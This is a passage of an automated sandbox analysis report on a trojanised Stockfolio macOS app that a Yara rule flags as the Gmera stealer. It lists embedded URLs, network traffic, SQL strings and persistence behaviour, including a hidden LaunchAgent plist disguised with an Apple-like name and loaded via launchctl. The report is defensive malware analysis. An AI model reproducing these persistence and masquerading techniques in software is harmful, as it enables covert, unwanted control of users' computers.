Source: .BC.T_BFkcWG.372.drString found in binary or memory: http://www.apple.com/appleca0
Source: .BC.T_BFkcWG.372.drString found in binary or memory: http://www.openssl.org/support/faq.html
Source: .BC.T_BFkcWG.372.drString found in binary or memory: http://www.openssl.org/support/faq.htmlRAND_get_rand_methodRAND_init_fipsSSLEAY_RAND_BYTESdual
Source: .BC.T_Rk6eBC.372.drString found in binary or memory: https://analytics.paddle.com/track
Source: .BC.T_Rk6eBC.372.drString found in binary or memory: https://analytics.paddle.com/trackPOSTanalytics.paddle.comHostapplication/jsonContent-Typev32
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://api.gdax.com/products/%
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://api.stocktwits.com/api/2/streams/symbol/%
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://api.twitter.com/1.1/search/tweets.json?q=%
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://api.twitter.com/oauth2/token
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/autocomplete?format=json&lang=en-US&region=US&t
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/multiquote?crossProduct=optimized&format=json&l
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/quotedetail?crossProduct=optimized&format=json&
Source: .BC.T_Rk6eBC.372.drString found in binary or memory: https://cdn.paddle.com/sdk/checkout.html
Source: .BC.T_Rk6eBC.372.drString found in binary or memory: https://checkout.paddle.com/api/
Source: .BC.T_Rk6eBC.372.drString found in binary or memory: https://data.paddle.com/streams/records
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://feeds.finance.yahoo.com/rss/2.0/headline?s=%
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://finance.yahoo.com
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://finance.yahoo.com/__nebula_embed/ecd/%
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://finance.yahoo.com/__streamer-worker-0.3.69.js
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://finance.yahoo.com/chart/%
Source: .BC.T_Rk6eBC.372.drString found in binary or memory: https://paddle.com/legal-buyers
Source: .BC.T_Rk6eBC.372.drString found in binary or memory: https://paddle.com/privacy-end-user
Source: .dat.nosync02f1.FHu4QB.336.drString found in binary or memory: https://paddle.s3.amazonaws.com/user/33938/jiJSIKWTVOF7hgk7v9fc_SLBKe9zQWSSgzqeRD4OX_icon.pngV1.4.13
Source: .dat.nosync02f1.FHu4QB.336.drString found in binary or memory: https://pay.paddle.com/checkout/framework/536260_
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://query1.finance.yahoo.com/v8/finance/chart/%
Source: .BC.T_Rk6eBC.372.drString found in binary or memory: https://s3.amazonaws.com/paddle-production-sdk-releases/macOS/Paddle.json
Source: .BC.T_bIS55o.372.drString found in binary or memory: https://sparkle-project.org/documentation/
Source: .BC.T_bIS55o.372.drString found in binary or memory: https://sparkle-project.org/documentation/app-transport-security/
Source: .BC.T_bIS55o.372.drString found in binary or memory: https://sparkle-project.org/documentation/app-transport-security/WARNING:
Source: .BC.T_bIS55o.372.drString found in binary or memory: https://sparkle-project.org/documentation/app-transport-security/v16
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://stockfolioapp.com/api
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio22-16.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio23-16.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio23-22.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio24-16.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio24-22.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio25-16.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio25-22.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio25-24.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio27-16.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio27-22.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio27-24.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio27-25.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio28-16.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio28-22.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio28-24.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio28-25.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio28-27.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio29-22.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio29-24.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio29-25.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio29-27.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio29-28.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio30-24.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio30-25.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio30-27.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio30-28.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio30-29.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio33-24.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio33-25.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio33-27.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio33-28.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio33-29.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio35-25.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio35-27.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio35-28.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio35-29.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio35-33.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio39-27.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio39-28.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio39-29.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio39-33.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio39-35.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio41-29.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio41-33.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio41-35.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio41-39.delta
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.2.1.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.3.2.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.1.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.13.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.2.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.3.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.4.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.5.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.7.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.8.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.5.zip
Source: appcast.xml.rss.336.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1_3_3.zip
Source: .BC.T_8axRJK.372.dr, .BC.T_BFkcWG.372.drString found in binary or memory: https://stockfolioapp.com/download/appcast.xml
Source: .dat.nosync02f1.0nJ9sj.336.drString found in binary or memory: https://stockfolioapp.com/stocks/icon-paddle
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://streamerapi.finance.yahoo.com/streamer/1.0?s=%
Source: .BC.T_Rk6eBC.372.drString found in binary or memory: https://v3.paddleapi.com/3.2/
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://www.apple.com/appleca/0
Source: .BC.T_BFkcWG.372.drString found in binary or memory: https://www.google-analytics.com/collect
Uses HTTPSShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49469
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49468
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49467
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49465
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49464
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49463
Source: unknownNetwork traffic detected: HTTP traffic on port 49464 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49468 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49487 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49445 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49470 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49451 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49441 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49438 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49474 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49478 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49455
Source: unknownNetwork traffic detected: HTTP traffic on port 49480 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49436 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49453
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49452
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49451
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49450
Source: unknownNetwork traffic detected: HTTP traffic on port 49463 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49449 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49467 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49488 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49446 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49473 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49442 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49452 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49477 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49449
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49448
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49447
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49446
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49445
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49489
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49444
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49488
Source: unknownNetwork traffic detected: HTTP traffic on port 49437 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49487
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49442
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49486
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49441
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49485
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49440
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49480
Source: unknownNetwork traffic detected: HTTP traffic on port 49485 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49489 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49447 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49472 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49453 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49476 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49438
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49437
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49436
Source: unknownNetwork traffic detected: HTTP traffic on port 49434 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49479
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49434
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49478
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49477
Source: unknownNetwork traffic detected: HTTP traffic on port 49455 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49476
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49475
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49474
Source: unknownNetwork traffic detected: HTTP traffic on port 49440 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49473
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49472
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49471
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49470
Source: unknownNetwork traffic detected: HTTP traffic on port 49465 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49486 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49469 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49471 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49450 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49444 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49475 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49479 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Yara detected Gmera StealerShow sources
Source: Yara matchFile source: run.sh, type: SAMPLE

System Summary:

barindex
Classification labelShow sources
Source: classification engineClassification label: mal88.troj.spyw.evad.macZIP@0/1205@25/0
SQL strings found in memory and binary dataShow sources
Source: .BC.T_BFkcWG.372.drBinary or memory string: INSERT INTO stock_metadata_temp2 (ticker, name, currency_type) VALUES (?, ?, ?);
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE statusbar_starred SET ticker = ? WHERE watchlist_id = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: INSERT INTO positions_temp2 (date, ticker, amount, price, order_type, portfolio_id, commission, tax, currency, exchange) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE tickerlist SET sorting_id = ? WHERE ticker = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE positions_temp2 SET ticker = ?, date = ?, price = ?, amount = ?, currency_type = ?, currency_symbol = ?, order_type = ?, commission = ?, tax = ?, currency = ?, exchange = ? WHERE id = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE stock_metadata_temp2 SET name = ?, currency_type = ? WHERE ticker = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: INSERT INTO tickerlist (ticker, watchlist_id, sorting_id, exchange, currency) VALUES (?, ?, ?, ?, ?);
Source: .BC.T_BFkcWG.372.drBinary or memory string: CREATE TABLE stock_metadata_temp2 (id integer primary key autoincrement, ticker varchar(20), name varchar(80), currency_type varchar(20));
Source: .BC.T_BFkcWG.372.drBinary or memory string: INSERT INTO statusbar_starred (ticker, watchlist_id) VALUES (?, ?);
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE portfolio SET key = ?, sorting_id = ? WHERE id = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: CREATE TABLE settings (id integer primary key autoincrement, import_dummy_data bool, selected_watchlist_id integer, bundle_id_db_creation integer);
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE tickerlist SET exchange = ? WHERE ticker LIKE '%.BTC';
Source: .BC.T_BFkcWG.372.drBinary or memory string: CREATE TABLE watchlist (id integer primary key autoincrement, name varchar(50) );
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE positions_temp2 SET currency = ? WHERE ticker LIKE '%.BTC';
Source: .BC.T_BFkcWG.372.drBinary or memory string: INSERT INTO watchlist (id, name) VALUES (?, ?);
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE positions_temp2 SET exchange = ? WHERE ticker LIKE '%.BTC';
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE watchlist SET name = ? WHERE id = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: SELECT * FROM tickerlist WHERE watchlist_id = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE positions_temp2 SET exchange = ? WHERE exchange = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: CREATE TABLE positions_temp2 (id integer primary key autoincrement, date varchar(50), ticker varchar(20), amount varchar(20), price varchar(20), currency_type varchar(20), currency_symbol varchar(20), order_type varchar(25) );
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE tickerlist SET currency = ? WHERE ticker LIKE '%.BTC';
Source: .BC.T_BFkcWG.372.drBinary or memory string: INSERT INTO portfolio (key, sorting_id) VALUES (?, ?);
Source: .BC.T_BFkcWG.372.drBinary or memory string: SELECT * FROM tickerlist WHERE ticker = ? AND watchlist_id = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: CREATE TABLE statusbar_starred (id integer primary key autoincrement, ticker varchar(50), watchlist_id integer);
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE tickerlist SET sorting_id = ? WHERE id = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: CREATE TABLE tickerlist (id integer primary key autoincrement, ticker varchar(20), watchlist_id integer, sorting_id integer);
Source: .BC.T_BFkcWG.372.drBinary or memory string: INSERT INTO watchlist (name) VALUES (?);
Source: .BC.T_BFkcWG.372.drBinary or memory string: INSERT INTO settings (id, import_dummy_data, selected_watchlist_id, bundle_id_db_creation) VALUES (?, ?, ?, ?);
Source: .BC.T_BFkcWG.372.drBinary or memory string: CREATE TABLE portfolio (id integer primary key autoincrement, key varchar(225), sorting_id integer );
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE settings SET %@ = ? where id = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: SELECT * FROM tickerlist WHERE id = ? AND TICKER = ? AND watchlist_id ;
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE statusbar_starred SET ticker = ticker || '-CCCAGG-USD' WHERE ticker LIKE '%.BTC';
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE tickerlist SET EXCHANGE = ?, CURRENCY = ? WHERE id = ?;
Source: .BC.T_BFkcWG.372.drBinary or memory string: UPDATE positions_temp2 SET currency = ? WHERE currency = ?;

Persistence and Installation Behavior:

barindex
Explicitly loads/starts launch services based on hidden plist filesShow sources
Source: /bin/sh (PID: 732)Hidden launch agent/daemon loaded: launchctl load /tmp/.com.apple.upd.plistJump to behavior
Process deletes its process image on diskShow sources
Source: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Autoupdate.app/Contents/MacOS/Autoupdate (PID: 776)Process image deleted: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Autoupdate.app/Contents/MacOS/Autoupdate
Sleeps for very long times which is unusualShow sources
Source: /bin/bash (PID: 740)Sleeps at least 10 minutes: /bin/sleep -> sleep 10000Jump to behavior
Writes Mach-O files to untypical directoriesShow sources
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)64-bit Mach-O written to unusual path: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Autoupdate.app/Contents/MacOS/AutoupdateJump to dropped file
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)64-bit Mach-O written to unusual path: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Autoupdate.app/Contents/MacOS/fileopJump to dropped file
Changes permissions of written Mach-O filesShow sources
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 707)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/Frameworks/LetsMove.framework/Versions/A/LetsMove: bits: - usr: rx grp: rx all: rwxJump to dropped file
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 707)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/Frameworks/Paddle.framework/Versions/A/Paddle: bits: - usr: rx grp: rx all: rwxJump to dropped file
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 707)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/Autoupdate: bits: - usr: rx grp: rx all: rwxJump to dropped file
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 707)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/fileop: bits: - usr: rx grp: rx all: rwxJump to dropped file
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 707)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Sparkle: bits: - usr: rx grp: rx all: rwxJump to dropped file
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 707)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/MacOS/Stockfolio: bits: - usr: rx grp: rx all: rwxJump to dropped file
Copies directory hierarchies, creates and/or extracts archives with shell command 'ditto'Show sources
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Ditto command executed: /usr/bin/ditto -x -k - /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41Jump to behavior
Creates application bundlesShow sources
Source: /usr/bin/ditto (PID: 773)Bundle Info.plist file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/.BC.T_8i3syQ -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Info.plistJump to behavior
Source: /usr/bin/ditto (PID: 773)Bundle Info.plist file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/.BC.T_8axRJK -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/Info.plistJump to behavior
Creates application/bundle files instead of directories in application directoryShow sources
Source: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Autoupdate.app/Contents/MacOS/Autoupdate (PID: 776)File with .app or .bundle extension, file moved: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/TemporaryItems/(A Document Being Saved By Autoupdate)/Stockfolio.app -> /Applications/Stockfolio.app
Creates code signed application bundlesShow sources
Source: /usr/bin/ditto (PID: 773)Bundle code signature resource file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/_CodeSignature/.BC.T_7f0CtK -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/_CodeSignature/CodeResourcesJump to behavior
Source: /usr/bin/ditto (PID: 773)Bundle code signature resource file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/_CodeSignature/.BC.T_AXbLR4 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/_CodeSignature/CodeResourcesJump to behavior
Creates hidden files, links and/or directoriesShow sources
Source: /bin/sh (PID: 728)Hidden file created: /tmp/.com.apple.upd.plistJump to behavior
Source: /bin/cp (PID: 730)Hidden file created: /Users/henry/Library/LaunchAgents/.com.apple.upd.plistJump to behavior
Source: /usr/bin/screen (PID: 710)Hidden Directory created: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/.screen -> /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/.screenJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.29Hh8AJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.9y8wO7Jump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.7OHDQ8Jump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.IjITayJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.fSLUksJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.KDEhM0Jump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.02mEOoJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.vrZbjyJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.FkAeCmJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.ND5n15Jump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/.dat.nosync02f1.MRQ5cBJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.WhCpa7Jump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.WSYLUJJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.UFicDfJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.LMS4odJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 753)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync02f1.0nJ9sjJump to behavior
